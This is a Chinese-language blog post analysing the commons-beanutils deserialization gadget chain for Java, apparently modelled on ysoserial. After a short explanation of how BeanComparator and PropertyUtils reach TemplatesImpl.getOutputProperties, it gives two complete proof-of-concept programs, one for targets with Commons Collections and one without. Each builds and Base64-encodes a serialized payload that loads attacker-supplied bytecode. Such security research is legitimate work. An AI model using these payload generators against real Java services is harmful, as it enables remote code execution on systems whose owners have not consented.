前言
commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。
Commons Beanutils 提供了对Java普通类对象(也成为JavaBean) 的一些操作方法
其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils
等。
分析
前面的分析中,都是使用的PriorityQueue
+ TransformingComparator
来触发transformer,之后才调用了TemplatesImpl
链子
这条链子就是直接类似于fastjson中的调用了getOutputProperties
方法来进行漏洞利用
BeanComparator
commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类
同样实现了Comparator
接口
构造方法有两个重载,可以传入property
作为需要比较的属性,如果没有传入comparator,就会使用默认的comparator
巧的是,这个需要CC依赖
和CC4或者CC2差不多,都需要调用PriorityQueue
类的comparator
的compare
方法,跟进他的compare方法
会调用PropertyUtils.getProperty
获取他的属性值,跟进
PropertyUtils
这个类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean
来实现的
接受两个参数,一个是类对象,一个是属性名,他会返回这个属性值
如果我们这里传入的属性名是outputProperties
,就会调用他的getter方法,达到漏洞触发的目的
构造POC
有CC依赖
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB_withCC {
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
//动态创建字节码
byte[] bytes = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "RoboTerh");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);
//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
没有CC依赖
前面说过,因为默认的comparator是需要CC依赖的,如果没有的,就没法执行,我们需要自己在构造BeanComparator类的时候就指定一个JDK自带的comparator
并且需要实现了Serialiable
接口
- java.util.Collections$ReverseComparator
- java.lang.String$CaseInsensitiveComparator
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;
public class CB_withoutCC {
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
//动态创建字节码
byte[] bytes = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "RoboTerh");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
参考
Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八 (su18.org)
- Post link: https://roboterh.github.io/2022/04/16/ysoserial%E5%88%86%E6%9E%90%E4%B9%8BCB%E9%93%BE/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.